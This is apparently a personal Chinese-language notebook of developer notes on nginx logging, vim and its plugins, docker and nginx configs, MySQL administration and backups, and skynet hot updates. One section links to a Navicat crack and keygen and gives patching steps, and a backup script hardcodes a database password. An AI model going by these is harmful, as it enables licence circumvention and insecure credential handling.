$remote_user:远程客户端用户名称,用于记录浏览者进行身份验证时提供的名字,如登录百度的用户名scq2099yt,如果没有登录就是空白。
[$time_local]:访问的时间与时区,比如07/Jun/2016:08:54:27 +0800,时间信息最后的"+0800"表示服务器所处时区位于UTC之后的8小时。
$request:请求的URI和HTTP协议,这是整个PV日志记录中最有用的信息,记录服务器收到一个什么样的请求
$status:记录请求返回的http状态码,比如成功是200。
$uptream_status:upstream状态,比如成功是200.
$body_bytes_sent:发送给客户端的文件主体内容的大小,比如899,可以将日志每条记录中的这个值累加起来以粗略估计服务器吞吐量。
$http_referer:记录从哪个页面链接访问过来的。
$http_user_agent:客户端浏览器信息
$http_x_forwarded_for:客户端的真实ip,通常web服务器放在反向代理的后面,这样就不能获取到客户的IP地址了,通过$remote_add拿到的IP地址是反向代理服务器的iP地址。反向代理服务器在转发请求的http头信息中,可以增加x_forwarded_for信息,用以记录原有客户端的IP地址和原来客户端的请求的服务器地址。
$ssl_protocol:SSL协议版本,比如TLSv1。
$ssl_cipher:交换数据中的算法,比如RC4-SHA。
$upstream_addr:upstream的地址,即真正提供服务的主机地址。
$request_time:整个请求的总时间。
$upstream_response_time:请求过程中,upstream的响应时间。

vim

安装

$ cd /usr/local/src/
$ wget https://codeload.github.com/vim/vim/tar.gz/v8.0.0134

解压

$ tar zxf v8.0.0134

编译

$ cd vim-8.0.0134/
$ ./configure --with-features=huge \
              --enable-multibyte \
              --enable-rubyinterp=yes \
              --enable-pythoninterp=yes \
              --with-python-config-dir=/usr/lib64/python2.7/config \
              --enable-python3interp=yes \
              --with-python3-config-dir=/usr/local/python3/lib/python3.6/config-3.6m-x86_64-linux-gnu \
              --enable-perlinterp=yes \
              --enable-luainterp=yes \
              --enable-gui=gtk2 --enable-cscope --prefix=/usr
 ./configure --with-features=huge --with-luajit --enable-luainterp=yes--enable-fail-if-missing --with-lua-prefix=/usr/local --prefix=/usr/local/vim/vim8 --enable-multibyte --enable-rubyinterp=yes --enable-pythoninterp=yes --with-python-config-dir=/usr/lib64/python2.7/config --enable-python3interp=yes --with-python3-config-dir=/usr/local/python3/lib/python3.6/config-3.6m-x86_64-linux-gnu --enable-perlinterp=yes  --enable-luainterp=yes --enable-gui=gtk2 --enable-cscope
/bin/perl -e 'unless ( $] >= 5.005 ) { for (qw(na defgv errgv)) { print "#define PL_$_ $_\n" }}' > auto/if_perl.c
/bin/perl /usr/bin/xsubpp -prototypes -typemap /usr/share/perl5/ExtUtils/typemap if_perl.xs >> auto/if_perl.c

$ make VIMRUNTIMEDIR=/usr/share/vim/vim80 
$ sudo make install
  • 安装成功后,通过/usr/local/vim8/bin/vim运行vim命令。将vim命令路径添加到系统变量,就可以直接运行vim了。
$ /usr/local/vim/vim8/bin/vim /etc/profile.d/path.sh

添加以下内容:

#!/bin/bash
export PATH=$PATH:/usr/local/vim/vim8/bin/

$ source /etc/profile.d/path.sh

帮助

vim插件

注释插件

vim-commentary

  • gitbub:vim-commentary
  • 优点:好用
  • 安装
  • 使用:https://blog.csdn.net/jpch89/article/details/94453692

语法检测

syntastic

ale

  • ale
  • 优点:异步,不会有卡顿感
  • 安装:
Plug 'dense-analysis/ale'

lua-checker

quickfix使用

quickfix功能将编译过程中产生的错误信息保存到文件中,
然后vim利用这些信息跳转到源文件的对应位置,
我们就可以进行错误的修正,
之后跳到下一个错误重复上述操作,
从而极大地提高编译错误的修改效率。
:cc     显示详细错误信息
:cp     跳到上一个错误
:cn     跳到下一个错误
:cw     如果有错误列表,则打开quickfix窗口,没有则什么也不错
:cope(n) 打开quickfix窗口,可以在后面添加窗口高度参数,如10行: :copen 10
:ccl(ose) 关闭quickfix窗口

vim基本用法

e: end 移动到一个单词的最后一个字符

命令行模式(Ex模式)

  • {start},{end}都是地址,这里用行号代表地址 :1,5p 打印第1到第5行,光标移动到第5行(:{start},{end}p)

  • 1代表第1行的地址

  • .代表当前行的地址

  • %代表当前文件中的所有行

  • $代表行尾

  • '<代表高亮选区的开始

  • '>代表高亮选区的结束

  • 'm 包含位置标记m的行

  • normal命令:

:4,6normal A; 在第4行到第6行后面加入分号
:4,6normal i// c++中注释4到6行
:4,6normal i-- lua中注释4到6行
  • @:命令重复上一个Ex

  • 回溯历史命令

:ag up/down键:查看含有ag的历史命令
  • 命令行窗口
Ctrl+f:命令行模式切换到命令行窗口
q:打开命令行Ex窗口
q/打开命令行查询窗口

执行Shell中的程序

  • :!{cmd} 单次执行命令
  • :shell 开启一个交互式的shell 使用exit退出返回到vim
  • CTRL Z:挂起Vim返回bash执行命令 fg返回Vim,jobs查看后台挂起进程

移动

  • j,k移动实际行
  • gj,gk移动屏幕行(在有折行的情况下十分有用)

word-emotions(基于单词的移动)

  • w 正向移动到下一个单词的开头

  • e 正向移动到下一个单词的结尾

  • b 反向移动到上一个单词的开头

  • ge 反向移动到上一个单词的开头

  • ea 在单词结尾添加

  • gea 在上一个单词结尾添加

对字符进行查找

  • f{char} 查字符
  • F{char} 反向查字符
  • ; 分号重复上次查找
  • , 相反方向重复上次查找

vim-plug

说明

  1. vim-plug 是一个Vim插件管理器,
  2. 利用异步并行可以快速地安装、更新和卸载插件。
  3. 它的安装和配置都非常简单,而且在操作过程中会给出很多易读的反馈信息,是一个相当友好精简的插件。

安装配置

  1. 下载 plug.vim 文件,
curl -fLo ~/.vim/autoload/plug.vim --create-dirs  https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
wget https://raw.githubusercontent.com/junegunn/vim-plug/master/plug.vim
  1. 根据操作系统不同,放置在以下autoload目录中:
  • Linux: ~/.vim/autoload
mkdir ~/.vim/
mkdir ~/.vim/autoload/
cp plug/plug.vim ~/.vim/autoload
  • Windows: ~\vimfiles\autoload\plug.vim
  1. 在vimrc配置文件中增加plug-vim部分,示例如下:
call plug#begin('~/.vim/plugged')
" Shorthand notation for plugin
Plug 'foo/bar'
call plug#end()

插件命令

  • 安装插件:PlugInstall
  • 卸载插件:PlugClean
  • 更新vim-plug:PlugUpgrade
  • 更新插件:PlugUpdate
  • 插件状态:PlugStatus

nerdtree

设置nerdtree的宽度

  • 在.vimrc中添加配置如下
let g:NERDTreeWinSize = 25
;类似设置Tagbar的宽度
let g:tagbar_width = 30

vim-commentary

插件地址:https://github.com/tpope/vim-commentary

插件用法

单行注释: 普通模式下 gcc,可以配合 . 使用。 普通模式下 vgc、Vgc、gc,即先进入可视模式再 gc。 多行注释: 可视模式下 gc,三种可视模式都可以使用,会注释掉可视模式选区跨越的所有行。 [count]gc,一次性注释 count 行。 撤销上次注释动作:用 u 即可。 取消单行注释: 普通模式下 gcc 普通模式下 gcu,如果有多行也会取消多行注释 先进入可视模式,再 gc 取消多行注释: 普通模式下:gcu 普通模式下:gcgc 普通模式下:[count]gcc 先进入可视模式,再 gc

极简版用法

这里尽量选择直观或者最优解,用一句话概括该插件的核心用法。 单行注释用 gcc,多行注释先进入可视模式再 gc,取消注释用 gcu

使用方法

gcc     注释当前行(普通模式)
gc      可视模式下,注释当前选中的部分
gcu     撤销上一次注释的部分,可以是一行也可以是多行
gcgc    撤销注释当前行和邻近的上下两行

修改注释符号

"vim-commentary
"为python和shell等添加注释
autocmd FileType python,shell,coffee set commentstring=#\ %s
"修改注释风格
autocmd FileType java,c,cpp set commentstring=//\ %s

vim-fugitive

github地址

https://github.com/tpope/vim-fugitive

使用

:Gblame其实就是执行git blame命令,然后直接在vim中将git的输出结果与源代码一一对应起来。这样当你读团队代码的时候发现了一个坑,然后想知道是谁写的这个坑的时候,只需要:Gblame一下,结果立马呈现。

install

方法1

sudo pacman -S fzf

方法2

git clone --depth 1 https://github.com/junegunn/fzf.git ~/.fzf cd ~/.fzf/ ./install

key

  1. 上下选择:C-k,C-j
  2. 退出:C-c
  3. 列出当前目录: C-T
  4. 历史搜索: C-R
  5. 选择目录: Alt-c
  6. NB用法,用vim打开文件: vim $(fzf)
  7. NB用法,用vim打开文件: vim $(ag findparm -l | fzf)
  8. 切换目录:cd $(find * -type d | fzf)

use

  1. cmd | fzf
  2. cd *****
  3. vim **
  4. oh-my-zsh

preview

export FZF_CTRL_T_OPTS="--preview '(highlight -O ansi -l {} 2> /dev/null || cat {} || tree -C {}) 2> /dev/null | head -200'"

vim

  1. cmd
Plug 'junegunn/fzf', { 'dir': '~/.fzf', 'do': './install --all' }
Plug '/usr/bin/fzf'
Plug 'junegunn/fzf.vim'

参考文档

  1. https://www.cnblogs.com/dylancao/p/10833431.html
  2. https://www.jianshu.com/p/bb91582317ed
  3. https://segmentfault.com/a/1190000015977368

coc

vim 插件按钮

https://vimawesome.com/plugin/coc-nvim

支持c++

安装

  1. 安装ccls
sudo pacman -S ccls
https://blog.csdn.net/yupei881027/article/details/104876551/
https://www.jianshu.com/p/55cf1fa7a467
git clone --depth=1 --recursive https://github.com/MaskRay/ccls
cmake -H. -BRelease -DCMAKE_BUILD_TYPE=Release -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_PREFIX_PATH=/path/to/clang+llvm
cd ccls
sudo cmake --build Release --target install

ccls 帮助文档

  1. install extensions
:CocInstall coc-json coc-tsserver
  1. 配置c/c++ language server
:CocConfig
https://github.com/neoclide/coc.nvim/wiki/Language-servers#ccobjective-c
{
    "languageserver": {
        "ccls": {
            "command": "ccls",
                "filetypes": ["c", "cc", "cpp", "c++", "objc", "objcpp"],
                "rootPatterns": [".ccls", "compile_commands.json", ".git/", ".hg/"],
                "initializationOptions": {
                    "cache": {
                        "directory": "/tmp/ccls"
                    }
                }
        }
    }
}

支持lua

CocInstall coc-lua
#安装lua-lsp
#https://github.com/Alloyed/lua-lsp
luarocks install --server=http://luarocks.org/dev lua-lsp
"languageserver": {
    "lua": {
        "command": "lua-lsp",
        "filetypes": ["lua"]
    }
}

帮助

Docker

参考

jenkins

参考

docker nginx

基本命令

#查看容器
docker ps

#创建并运行一个容器nginx127
docker run --name=nginx127 -p 8081:80 -d docker.io/nginx

#进入容器nginx127
docker exec -it nginx127 /bin/bash

#退出容器
exit

#停止容器
docker stop nginx127

#删除容器
docker rm nginx127

配置nginx 密码访问

  • 修改容器内配置
#查看运行容器的ID
docker ps

#进入nginx容器
docker exec -it 容器ID /bin/bash

#容器内部操作
#更新软件源
apt-get update

#安装apache2-utils
apt-get install apache2-utils

#创建用户名
htpasswd -c /etc/nginx/passwd.db 用户名

#输入密码(自动弹出)
New password:
Re-type new password:

#查看用户和密码
cat /etc/nginx/passwd.db

#退出
exit
  • 修改nginx配置文件
server {
    listen       80;
    server_name  域名;

    access_log  /var/log/nginx/logging.access.log  main;

    location / {
        auth_basic "Please input password"; #这里是验证时的提示信息 
            auth_basic_user_file /etc/nginx/passwd.db;
        proxy_set_header  Host  $http_host;
        proxy_set_header  X-Real-IP  $remote_addr;
        proxy_set_header  X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass   http://IP:8088; 
    }

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }
}

mysql nginx 转发

#user  nobody;
worker_processes  1;

#error_log  logs/error.log;
#error_log  logs/error.log  notice;
#error_log  logs/error.log  info;

#pid        logs/nginx.pid;


events {
    worker_connections  1024;
}

stream {
    upstream mysql_proxy_zp {
        hash $remote_addr consistent;
        server mybonline-inet.mysql.rds.aliyuncs.com:8000 weight=5 max_fails=3 fail_timeout=30s;
    }

    server {
#数据库服务器监听端口
        listen 8000;
        proxy_connect_timeout 10s;
#设置客户端和代理服务之间的超时时间,如果5分钟内没操作将自动断开。
        proxy_timeout 300s;
        proxy_pass mysql_proxy_zp;
    }
}

nginx配置代理上网

#user nobody;
worker_processes 1;
error_log /var/log/nginx/error.log debug;

events {
    worker_connections 1024;
}

http {
    resolver 8.8.8.8;
    server {
        listen 8088;
        location / {
            proxy_pass http://$http_host$request_uri;
        }
    }

windows 安装与使用ngin

https://www.cnblogs.com/jiangwangxiang/p/8481661.html
http://nginx.org/en/download.html

gitbook

docker 安装gitbook

docker run -d --name gitbook \
           -p 4001:4000  \
           -v /data/doc/doc/gitbook:/srv/gitbook \
           -v /data/doc/doc/gitbook/_book:/srv/html \
           fellah/gitbook

mysql 查看t_account表结构

desc t_account;
show columns from t_account;

describe t_account;
show create table t_account;

mysql 查看存储过程

select `name` from mysql.proc where db = 'xx' and `type` = 'PROCEDURE'   //存储过程
select `name` from mysql.proc where db = 'xx' and `type` = 'FUNCTION'   //函数

show create procedure register; //存储过程register

show procedure status; //存储过程

show function status;     //函数

解决数据库注册中文写入失败的问题

  • 问题描述: 调用注册存储过程是,nickname 含中文写入失败

  • 解决方法: 将存储过程中文参数由varchar 改为nvarchar类型

解决数据库在插入数据中包含表情特殊符

  • 问题描述: 在插入数据的过程中,如玩家名字,包含表情 插入数据失败

  • 解决方法 将字段字符集设置utf8mb4,排序规则设置utf8mb4_unicode_ci t_account:nickname t_record_circle:circle_scores t_record_round:round_scores等等

修改密码

  • 使用 mysqladmin 命令修改 MySQL 的 root 用户密码格式为
mysqladmin -u用户名 -p旧密码 password 新密码。

mysql 工具

- windows版本激活 * [https://www.cnblogs.com/hfxtest/p/12513210.html](https://www.cnblogs.com/hfxtest/p/12513210.html) - [navicat for linux 破解](https://gitee.com/yangzhuoming/navicat-keygen/blob/linux/README.zh-CN.md) * steps: ``` sudo mount -o loop ~/tools/bin/navicat15-premium-cs.AppImage ~/tools/navicat15-premium-cs cp -r ~/tools/bin/navicat15-premium-cs ~/tools/bin/navicat15-premium-cs-patched sudo umount ~/tools/bin/navicat15-premium-cs rm -rf ~/tools/navicat15-premium-cs ``` * [注册机编译](https://gitee.com/yangzhuoming/navicat-keygen/blob/linux/doc/how-to-build.md) >

常用sql

  • 如何重置mysql中的自动自增值
alter table t_wxmini_balance_record auto_increment=1;

mysql备份数据库

  • centos7安装mysqldump
yum install mysql
  • 备份数据库
[root@ecs-7d02 db]# cat bak_db.sh
#help:123456
dt=$(date +%Y%m%d_%H%M%S)
host=192.168.0.215
des_file=gzzjdb_bak_$dt.sql
bak_file=gzzjdb_bak_$dt.tar.gz
mysqldump -h$host -P8000 -uroot -p gzzjdb --routines --password=GZZJ@123456 > $des_file
tar -czvf $bak_file $des_file
mv $bak_file /data/db/bak/
rm -f $des_file
  • 定时删除备份,删除7天前的备份
find /data/db/bak/ -mtime +7  -name "*.tar.gz" -exec rm -f {}\;
echo "----->del_bak logs:"`date +"%Y-%m-%d %H:%M:%S"` >> /data/db/del_bak.log
  • crontab定时任务
0 4 * * * /data/db/del_mysql_bak.sh
0 5 * * * /data/db/bak_online_db_with_data.sh
  • 参考:https://blog.csdn.net/HelloWorldYangSong/article/details/122254372

github 开源

工具

夜莺

部署

yum install -y mariadb* redis nginx
  • mariadb开机自启
systemctl enable mariadb
  • 启动mariadb
systemctl start mariadb
  • 查询mysql进程
ps aux | grep mysql
  • 数据库初始化
mysql_secure_installation
  • redis 开机自启动
systemctl enable redis
  • 启动redis
systemctl start redis
  • nginx开机自启动
systemctl enable nginx
  • 2、下载我们编译好的二进制到/home/n9e目录,如果要更换目录,要注意修改nginx.conf,建议先用这个目录,玩熟了再说
mkdir -p /home/n9e
cd /home/n9e
wget http://116.85.64.82/n9e.tar.gz
tar zxvf n9e.tar.gz
  • 3、初始化数据库,这里假设使用root账号,密码1234,如果不是这个账号密码,注意修改/home/n9e/etc/mysql.yml
cd /home/n9e/sql
mysql -uroot -p1234 < n9e_ams.sql
mysql -uroot -p1234 < n9e_hbs.sql
mysql -uroot -p1234 < n9e_job.sql
mysql -uroot -p1234 < n9e_mon.sql
mysql -uroot -p1234 < n9e_rdb.sql

video

  • https://www.bilibili.com/video/BV13z411q7in/

测试地址

  • http://139.9.240.143/rdb/resources-tree

skynet

  • skynet-rabbitmq(https://github.com/cloudfreexiao/skynet-rabbitmq/blob/master/rabbitmqstomp.lua)
  • skynet-etcd(https://github.com/cloudfreexiao/skynet-etcd)
  • skynet-thrift(https://github.com/cloudfreexiao/skynet_thrift)
  • lua_httpws(https://github.com/cloudfreexiao/lua_httpws)
  • skynet-serverdemo-rillserver(https://github.com/cloudfreexiao/RillServer)
  • websocketlib-skynetpatch(https://github.com/sctangqiang/skynetpatch)

debug console

命令作用example
debug address调试服务debug c
watch(proto,cond)加一个断点watch("lua", function(,,cmd) return cmd=="get" end)
c继续处理这条消息,离开关注状态c
n下一步,不走进函数内部n
s下一步,走进函数内部s
cont退出调试状态cont
debug.traceback(_CO)查看调用堆栈-

skynet热更新-clearcache的使用体会

skynet 热更新主要有2种方法

  • 第一种:使用clearcache
  • 第二种:使用console inject lua脚本

动态创建的服务的热更新

  • 如果一个skynet服务是在业务流程中动态创建的,那么在修改代码后,使用clearcache就可以保证下次再创建的新的服务是使用的新的代码。

创建后长期不销毁重建的服务,如何热更新?

  • 如果是在进程启动时创建,或创建后就一直存在的服务需要热更新怎么办呢?

    • 方法1: 对于这种情况目前inject是首选。但是有时候需要修改的代码量比较大,inject 脚本的方式就非常复杂且容易出错。
    • 方法2: 当然,还有一种方式就是采用轮服的机制解决。从进程级别解决问题。但是这个代价又太大了,比clearcache的成本还高。
  • 这里我们还有一个思路就是可以在业务服前加一个管理调度服务。例如A1 skynet服务需要发消息给B1 skynet服务来实现某个功能。消息流为:

A1 ---> B1
  • 我们可以在B1前加一个B_manager服务,A服务通过B_manager服来传递消息给B1服务, 消息流为:
A1 ---> B_Manager ---> B1
  • 这个时候如果B1的业务有大量需要修改的。只需要clearcache一下,让后创建一个新的B1服务,这里称为B2,B_Manager再将A1的请求转发到B2即可,这个时候的消息流为:
A1 ---> B_Manager ---> B2
  • 这个时候B1就不会接收到新的消息了。介意B1的存在可以销毁它,如果资源占用不大,也可以不销毁。

  • 当然这里有几个必须要注意的问题:

    • 如果B1服务是有状态的,那么这个方法是有很大限制的,需要把B1服务的数据通过消息或共享内存,缓存等方式转移到B2服务上。
    • 如果B1服务上有定时器等可能会影响业务的逻辑时时,必须要关闭定时器或销毁B2服务。
    • 如果B1是无状态的那就简单多了,创建新的服务B2后,B_mananger将所有需要转发给B1的请求全都转发给B2即可。
    • 消息中间多了一层B_Manager会不会损失性能,这个需要视业务要求来具体分析,大部分情况,这点新能损失都可以忽略不计的;当然如果你很介意的话,还是建议业务刚上线时使用B_Manager,业务稳定后,可以在某次更新时将这层转发层去掉。
  • 上面的方法也是一种折中的方法,个人感觉还是比较好用的,但也是不完美的。

  • 关于skynet的热更新,如果你有什么更好的方案,希望能够指点一二!

  • 个人的一点想法,分享给大家!如果你也在使用skynet,关注我,一起学习,交流一下!

tars

nodejs

常用命令

npm list

package.json

参考资料